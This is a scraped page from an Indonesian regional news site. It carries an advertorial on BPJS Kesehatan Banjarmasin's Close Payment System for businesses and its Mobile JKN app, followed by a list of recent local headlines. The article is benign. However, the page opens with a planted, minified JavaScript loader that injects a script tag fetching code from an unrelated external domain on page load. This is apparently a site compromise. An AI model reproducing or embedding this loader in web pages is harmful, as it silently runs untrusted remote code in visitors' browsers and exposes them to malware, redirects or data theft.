(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Beri Pemahaman Close Payment System Bagi Badan Usaha di Radio


BANJARMASIN, Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Banjarmasin melaksanakan talkshow di J-Rado 91,7 FM Banjarmasin sebagai upaya menyebarluaskan informasi mengenai sistem pembayaran tertutup (Close Payment). Hal ini sejalan dengan diberlakukannya Close Payment System mulai 1 Februari 2018 lalu.

Kepala BPJS Kesehatan Cabang Banjarmasin, Nyoman Wiwiek Yuliadewi menjelaskan, Close Payment System adalah metode pembayaran iuran dimana Badan Usaha (BU) atau perusahaan hanya diperkenankan membayar iuran sebesar jumlah tagihan yang ditentukan.

Dengan sistem ini BU tidak dapat lagi menentukan sendiri jumlah iuran yang dibayarkan melainkan harus membayar dengan sepenuhnya total tagihan yang terbentuk di BPJS Kesehatan.

“Jadi dengan diterapkan sistem ini, tentunya akan sangat menguntungkan Badan Usaha dalam proses pembayaran iuran, tidak akan lagi terjadi perbedaan iuran yang dibayarkan oleh Badan Usaha dengan tagihan yang terbentuk oleh BPJS Kesehatan. Apabila terdapat perbedaan tersebut dapat menyebabkan kartu peserta tidak aktif karena Badan Usaha membayar iuran tidak sesuai dengan yang ditagihkan,” jelas Wiwiek.

Sebelumnya, BPJS Kesehatan Cabang Banjarmasin telah melakukan berbagai upaya untuk mensosialisasikan Sistem Pembayaran Tertutup kepada BU dengan mengirimkan surat melalui email koorporate BU yg dbuat oleh BPJS Kesehatan, dan juga melakukan koordinasi dengan APINDO dan Dinas Tenaga Kerja setempat.

Dalam kesempatan ini, Wiwiek juga menjelaskan mengenai manfaat dari Mobile JKN yang bisa dimiliki oleh peserta.

“Masyarakat dan juga peserta JKN bisa mendownload aplikasi ini di Playstore untuk gadget berbasis android dan AppStore untuk gadget berbasis iOS, banyak sekali manfaat yang bisa didapat dari aplikasi ini, masyarakat bisa mendaftarkan diri menjadi peserta JKN melalui aplikasi ini, untuk yang sudah menjadi peserta, apabila ingin cek tagihan iuran atau merubah data diri dan fasilitas kesehatan juga bisa dilakukan melalui aplikasi ini, jadi tidak perlu lagi datang ke kantor dan harus mengantri, BPJS Kesehatan sudah ada di dalam genggaman kita semua,” jelas Wiwiek. (arief)

Reporter: Arief
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.